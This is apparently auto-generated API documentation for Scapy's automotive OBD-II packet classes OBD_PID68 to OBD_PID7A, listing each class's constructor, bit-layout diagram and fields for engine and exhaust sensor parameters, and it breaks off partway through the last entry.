class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID68(_pkt, /, *, reserved=0, bank2_sensor3_supported=0, bank2_sensor2_supported=0, bank2_sensor1_supported=0, bank1_sensor3_supported=0, bank1_sensor2_supported=0, bank1_sensor1_supported=0, bank1_sensor1=0, bank1_sensor2=0, bank1_sensor3=0, bank2_sensor1=0, bank2_sensor2=0, bank2_sensor3=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L128-L144]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RES|B|B|B|B|B|B| BANK1 SENSOR1 | BANK1 SENSOR2 | BANK1 SENSOR3 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| BANK2 SENSOR1 | BANK2 SENSOR2 | BANK2 SENSOR3 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID68                          


OBD_PID68 fields






	reserved

	BitField  (2 bits)

	0



	bank2_sensor3_supported

	BitField  (1 bit)

	0



	bank2_sensor2_supported

	BitField  (1 bit)

	0



	bank2_sensor1_supported

	BitField  (1 bit)

	0



	bank1_sensor3_supported

	BitField  (1 bit)

	0



	bank1_sensor2_supported

	BitField  (1 bit)

	0



	bank1_sensor1_supported

	BitField  (1 bit)

	0



	bank1_sensor1

	ScalingField

	0



	bank1_sensor2

	ScalingField

	0



	bank1_sensor3

	ScalingField

	0



	bank2_sensor1

	ScalingField

	0



	bank2_sensor2

	ScalingField

	0



	bank2_sensor3

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID69(_pkt, /, *, reserved=0, egr_b_error_supported=0, actual_egr_b_duty_cycle_supported=0, commanded_egr_b_duty_cycle_supported=0, egr_a_error_supported=0, actual_egr_a_duty_cycle_supported=0, commanded_egr_a_duty_cycle_supported=0, commanded_egr_a_duty_cycle=0, actual_egr_a_duty_cycle=0, egr_a_error=0, commanded_egr_b_duty_cycle=0, actual_egr_b_duty_cycle=0, egr_b_error=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L147-L169]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RES|E|A|C|E|A|C|COMMANDED EGR A|ACTUAL EGR A DU|  EGR A ERROR  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|COMMANDED EGR B|ACTUAL EGR B DU|  EGR B ERROR  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID69                          


OBD_PID69 fields






	reserved

	BitField  (2 bits)

	0



	egr_b_error_supported

	BitField  (1 bit)

	0



	actual_egr_b_duty_cycle_supported

	BitField  (1 bit)

	0



	commanded_egr_b_duty_cycle_supported

	BitField  (1 bit)

	0



	egr_a_error_supported

	BitField  (1 bit)

	0



	actual_egr_a_duty_cycle_supported

	BitField  (1 bit)

	0



	commanded_egr_a_duty_cycle_supported

	BitField  (1 bit)

	0



	commanded_egr_a_duty_cycle

	ScalingField

	0



	actual_egr_a_duty_cycle

	ScalingField

	0



	egr_a_error

	ScalingField

	0



	commanded_egr_b_duty_cycle

	ScalingField

	0



	actual_egr_b_duty_cycle

	ScalingField

	0



	egr_b_error

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID6A(_pkt, /, *, reserved=0, relative_intake_air_flow_b_position_supported=0, commanded_intake_air_flow_b_control_supported=0, relative_intake_air_flow_a_position_supported=0, commanded_intake_air_flow_a_control_supported=0, commanded_intake_air_flow_a_control=0, relative_intake_air_flow_a_position=0, commanded_intake_air_flow_b_control=0, relative_intake_air_flow_b_position=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L172-L189]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|R|C|R|C|COMMANDED INTAK|RELATIVE INTAKE|COMMANDED INTAK|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RELATIVE INTAKE|
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID6A                          


OBD_PID6A fields






	reserved

	BitField  (4 bits)

	0



	relative_intake_air_flow_b_position_supported

	BitField  (1 bit)

	0



	commanded_intake_air_flow_b_control_supported

	BitField  (1 bit)

	0



	relative_intake_air_flow_a_position_supported

	BitField  (1 bit)

	0



	commanded_intake_air_flow_a_control_supported

	BitField  (1 bit)

	0



	commanded_intake_air_flow_a_control

	ScalingField

	0



	relative_intake_air_flow_a_position

	ScalingField

	0



	commanded_intake_air_flow_b_control

	ScalingField

	0



	relative_intake_air_flow_b_position

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID6B(_pkt, /, *, reserved=0, bank2_sensor2_supported=0, bank2_sensor1_supported=0, bank1_sensor2_supported=0, bank1_sensor1_supported=0, bank1_sensor1=0, bank1_sensor2=0, bank2_sensor1=0, bank2_sensor2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L192-L204]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|B|B|B|B| BANK1 SENSOR1 | BANK1 SENSOR2 | BANK2 SENSOR1 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| BANK2 SENSOR2 |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID6B                          


OBD_PID6B fields






	reserved

	BitField  (4 bits)

	0



	bank2_sensor2_supported

	BitField  (1 bit)

	0



	bank2_sensor1_supported

	BitField  (1 bit)

	0



	bank1_sensor2_supported

	BitField  (1 bit)

	0



	bank1_sensor1_supported

	BitField  (1 bit)

	0



	bank1_sensor1

	ScalingField

	0



	bank1_sensor2

	ScalingField

	0



	bank2_sensor1

	ScalingField

	0



	bank2_sensor2

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID6C(_pkt, /, *, reserved=0, relative_throttle_b_position_supported=0, commanded_throttle_actuator_b_control_supported=0, relative_throttle_a_position_supported=0, commanded_throttle_actuator_a_control_supported=0, commanded_throttle_actuator_a_control=0, relative_throttle_a_position=0, commanded_throttle_actuator_b_control=0, relative_throttle_b_position=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L207-L223]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|R|C|R|C|COMMANDED THROT|RELATIVE THROTT|COMMANDED THROT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RELATIVE THROTT|
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID6C                          


OBD_PID6C fields






	reserved

	BitField  (4 bits)

	0



	relative_throttle_b_position_supported

	BitField  (1 bit)

	0



	commanded_throttle_actuator_b_control_supported

	BitField  (1 bit)

	0



	relative_throttle_a_position_supported

	BitField  (1 bit)

	0



	commanded_throttle_actuator_a_control_supported

	BitField  (1 bit)

	0



	commanded_throttle_actuator_a_control

	ScalingField

	0



	relative_throttle_a_position

	ScalingField

	0



	commanded_throttle_actuator_b_control

	ScalingField

	0



	relative_throttle_b_position

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID6D(_pkt, /, *, reserved=0, fuel_temperature_supported=0, fuel_rail_pressure_supported=0, commanded_fuel_rail_pressure_supported=0, commanded_fuel_rail_pressure=0, fuel_rail_pressure=0, fuel_rail_temperature=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L226-L238]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RESERVED|F|F|C|  COMMANDED FUEL RAIL PRESSURE |FUEL RAIL PRESS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |FUEL RAIL TEMPE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID6D                          


OBD_PID6D fields






	reserved

	BitField  (5 bits)

	0



	fuel_temperature_supported

	BitField  (1 bit)

	0



	fuel_rail_pressure_supported

	BitField  (1 bit)

	0



	commanded_fuel_rail_pressure_supported

	BitField  (1 bit)

	0



	commanded_fuel_rail_pressure

	ScalingField

	0



	fuel_rail_pressure

	ScalingField

	0



	fuel_rail_temperature

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID6E(_pkt, /, *, reserved=0, injection_control_pressure_supported=0, commanded_injection_control_pressure_supported=0, commanded_injection_control_pressure=0, injection_control_pressure=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L241-L251]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESERVED |I|C|COMMANDED INJECTION CONTROL PRE|INJECTION CONTR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID6E                          


OBD_PID6E fields






	reserved

	BitField  (6 bits)

	0



	injection_control_pressure_supported

	BitField  (1 bit)

	0



	commanded_injection_control_pressure_supported

	BitField  (1 bit)

	0



	commanded_injection_control_pressure

	ScalingField

	0



	injection_control_pressure

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID6F(_pkt, /, *, reserved=0, sensor_b_supported=0, sensor_a_supported=0, sensor_a=0, sensor_b=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L254-L262]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESERVED |S|S|    SENSOR A   |    SENSOR B   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID6F                          


OBD_PID6F fields






	reserved

	BitField  (6 bits)

	0



	sensor_b_supported

	BitField  (1 bit)

	0



	sensor_a_supported

	BitField  (1 bit)

	0



	sensor_a

	ScalingField

	0



	sensor_b

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID70(_pkt, /, *, reserved=0, boost_pressure_sensor_b_supported=0, commanded_boost_pressure_b_supported=0, boost_pressure_sensor_a_supported=0, commanded_boost_pressure_a_supported=0, commanded_boost_pressure_a=0, boost_pressure_sensor_a=0, commanded_boost_pressure_b=0, boost_pressure_sensor_b=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L265-L281]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|B|C|B|C|   COMMANDED BOOST PRESSURE A  |BOOST PRESSURE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   COMMANDED BOOST PRESSURE B  |BOOST PRESSURE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID70                          


OBD_PID70 fields






	reserved

	BitField  (4 bits)

	0



	boost_pressure_sensor_b_supported

	BitField  (1 bit)

	0



	commanded_boost_pressure_b_supported

	BitField  (1 bit)

	0



	boost_pressure_sensor_a_supported

	BitField  (1 bit)

	0



	commanded_boost_pressure_a_supported

	BitField  (1 bit)

	0



	commanded_boost_pressure_a

	ScalingField

	0



	boost_pressure_sensor_a

	ScalingField

	0



	commanded_boost_pressure_b

	ScalingField

	0



	boost_pressure_sensor_b

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID71(_pkt, /, *, reserved=0, vgt_b_position_supported=0, commanded_vgt_b_position_supported=0, vgt_a_position_supported=0, commanded_vgt_a_position_supported=0, commanded_variable_geometry_turbo_a_position=0, variable_geometry_turbo_a_position=0, commanded_variable_geometry_turbo_b_position=0, variable_geometry_turbo_b_position=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L284-L300]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|V|C|V|C|COMMANDED VARIA|VARIABLE GEOMET|COMMANDED VARIA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VARIABLE GEOMET|
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID71                          


OBD_PID71 fields






	reserved

	BitField  (4 bits)

	0



	vgt_b_position_supported

	BitField  (1 bit)

	0



	commanded_vgt_b_position_supported

	BitField  (1 bit)

	0



	vgt_a_position_supported

	BitField  (1 bit)

	0



	commanded_vgt_a_position_supported

	BitField  (1 bit)

	0



	commanded_variable_geometry_turbo_a_position

	ScalingField

	0



	variable_geometry_turbo_a_position

	ScalingField

	0



	commanded_variable_geometry_turbo_b_position

	ScalingField

	0



	variable_geometry_turbo_b_position

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID72(_pkt, /, *, reserved=0, wastegate_b_position_supported=0, commanded_wastegate_b_position_supported=0, wastegate_a_position_supported=0, commanded_wastegate_a_position_supported=0, commanded_wastegate_a_position=0, wastegate_a_position=0, commanded_wastegate_b_position=0, wastegate_b_position=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L303-L319]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|W|C|W|C|COMMANDED WASTE|WASTEGATE A POS|COMMANDED WASTE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|WASTEGATE B POS|
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID72                          


OBD_PID72 fields






	reserved

	BitField  (4 bits)

	0



	wastegate_b_position_supported

	BitField  (1 bit)

	0



	commanded_wastegate_b_position_supported

	BitField  (1 bit)

	0



	wastegate_a_position_supported

	BitField  (1 bit)

	0



	commanded_wastegate_a_position_supported

	BitField  (1 bit)

	0



	commanded_wastegate_a_position

	ScalingField

	0



	wastegate_a_position

	ScalingField

	0



	commanded_wastegate_b_position

	ScalingField

	0



	wastegate_b_position

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID73(_pkt, /, *, reserved=0, sensor_bank2_supported=0, sensor_bank1_supported=0, sensor_bank1=0, sensor_bank2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L322-L330]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESERVED |S|S|          SENSOR BANK1         |  SENSOR BANK2 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID73                          


OBD_PID73 fields






	reserved

	BitField  (6 bits)

	0



	sensor_bank2_supported

	BitField  (1 bit)

	0



	sensor_bank1_supported

	BitField  (1 bit)

	0



	sensor_bank1

	ScalingField

	0



	sensor_bank2

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID74(_pkt, /, *, reserved=0, b_supported=0, a_supported=0, a_rpm=0, b_rpm=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L333-L341]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESERVED |B|A|             A RPM             |     B RPM     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID74                          


OBD_PID74 fields






	reserved

	BitField  (6 bits)

	0



	b_supported

	BitField  (1 bit)

	0



	a_supported

	BitField  (1 bit)

	0



	a_rpm

	ScalingField

	0



	b_rpm

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID75(_pkt, /, *, reserved=0, turbo_a_turbine_outlet_temperature_supported=0, turbo_a_turbine_inlet_temperature_supported=0, turbo_a_compressor_outlet_temperature_supported=0, turbo_a_compressor_inlet_temperature_supported=0, turbocharger_a_compressor_inlet_temperature=0, turbocharger_a_compressor_outlet_temperature=0, turbocharger_a_turbine_inlet_temperature=0, turbocharger_a_turbine_outlet_temperature=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L344-L362]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|T|T|T|T|TURBOCHARGER A |TURBOCHARGER A |TURBOCHARGER A |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |TURBOCHARGER A TURBINE OUTLET T|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID75                          


OBD_PID75 fields






	reserved

	BitField  (4 bits)

	0



	turbo_a_turbine_outlet_temperature_supported

	BitField  (1 bit)

	0



	turbo_a_turbine_inlet_temperature_supported

	BitField  (1 bit)

	0



	turbo_a_compressor_outlet_temperature_supported

	BitField  (1 bit)

	0



	turbo_a_compressor_inlet_temperature_supported

	BitField  (1 bit)

	0



	turbocharger_a_compressor_inlet_temperature

	ScalingField

	0



	turbocharger_a_compressor_outlet_temperature

	ScalingField

	0



	turbocharger_a_turbine_inlet_temperature

	ScalingField

	0



	turbocharger_a_turbine_outlet_temperature

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID76(_pkt, /, *, reserved=0, turbo_a_turbine_outlet_temperature_supported=0, turbo_a_turbine_inlet_temperature_supported=0, turbo_a_compressor_outlet_temperature_supported=0, turbo_a_compressor_inlet_temperature_supported=0, turbocharger_a_compressor_inlet_temperature=0, turbocharger_a_compressor_outlet_temperature=0, turbocharger_a_turbine_inlet_temperature=0, turbocharger_a_turbine_outlet_temperature=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L365-L383]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|T|T|T|T|TURBOCHARGER A |TURBOCHARGER A |TURBOCHARGER A |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |TURBOCHARGER A TURBINE OUTLET T|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID76                          


OBD_PID76 fields






	reserved

	BitField  (4 bits)

	0



	turbo_a_turbine_outlet_temperature_supported

	BitField  (1 bit)

	0



	turbo_a_turbine_inlet_temperature_supported

	BitField  (1 bit)

	0



	turbo_a_compressor_outlet_temperature_supported

	BitField  (1 bit)

	0



	turbo_a_compressor_inlet_temperature_supported

	BitField  (1 bit)

	0



	turbocharger_a_compressor_inlet_temperature

	ScalingField

	0



	turbocharger_a_compressor_outlet_temperature

	ScalingField

	0



	turbocharger_a_turbine_inlet_temperature

	ScalingField

	0



	turbocharger_a_turbine_outlet_temperature

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID77(_pkt, /, *, reserved=0, bank2_sensor2_supported=0, bank2_sensor1_supported=0, bank1_sensor2_supported=0, bank1_sensor1_supported=0, bank1_sensor1=0, bank1_sensor2=0, bank2_sensor1=0, bank2_sensor2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L386-L398]

	Bases: OBD_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|B|B|B|B| BANK1 SENSOR1 | BANK1 SENSOR2 | BANK2 SENSOR1 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| BANK2 SENSOR2 |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID77                          


OBD_PID77 fields






	reserved

	BitField  (4 bits)

	0



	bank2_sensor2_supported

	BitField  (1 bit)

	0



	bank2_sensor1_supported

	BitField  (1 bit)

	0



	bank1_sensor2_supported

	BitField  (1 bit)

	0



	bank1_sensor1_supported

	BitField  (1 bit)

	0



	bank1_sensor1

	ScalingField

	0



	bank1_sensor2

	ScalingField

	0



	bank2_sensor1

	ScalingField

	0



	bank2_sensor2

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID78(_pkt, /, *, reserved=0, sensor4_supported=0, sensor3_supported=0, sensor2_supported=0, sensor1_supported=0, sensor1=0, sensor2=0, sensor3=0, sensor4=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L419-L420]

	Bases: _OBD_PID_ExhaustGasTemperatureBank


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|S|S|S|S|            SENSOR1            |    SENSOR2    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            SENSOR3            |    SENSOR4    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID78                          


OBD_PID78 fields






	reserved

	BitField  (4 bits)

	0



	sensor4_supported

	BitField  (1 bit)

	0



	sensor3_supported

	BitField  (1 bit)

	0



	sensor2_supported

	BitField  (1 bit)

	0



	sensor1_supported

	BitField  (1 bit)

	0



	sensor1

	ScalingField

	0



	sensor2

	ScalingField

	0



	sensor3

	ScalingField

	0



	sensor4

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID79(_pkt, /, *, reserved=0, sensor4_supported=0, sensor3_supported=0, sensor2_supported=0, sensor1_supported=0, sensor1=0, sensor2=0, sensor3=0, sensor4=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L423-L424]

	Bases: _OBD_PID_ExhaustGasTemperatureBank


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESERVE|S|S|S|S|            SENSOR1            |    SENSOR2    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            SENSOR3            |    SENSOR4    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. OBD_PID79                          


OBD_PID79 fields






	reserved

	BitField  (4 bits)

	0



	sensor4_supported

	BitField  (1 bit)

	0



	sensor3_supported

	BitField  (1 bit)

	0



	sensor2_supported

	BitField  (1 bit)

	0



	sensor1_supported

	BitField  (1 bit)

	0



	sensor1

	ScalingField

	0



	sensor2

	ScalingField

	0



	sensor3

	ScalingField

	0



	sensor4

	ScalingField

	0















	
class scapy.contrib.automotive.obd.pid.pids_60_7F.OBD_PID7A(_pkt, /, *, reserved=0, outlet_pressure_supported=0, inlet_pressure_supported=0, delta_pressure_supported=0, delta_pressure=0, particulate_filter=0, outlet_pressure=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/obd/pid/pids_60_7F.py#L442-L443]

	Bases: _OBD_PID_DieselParticulateFilter


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
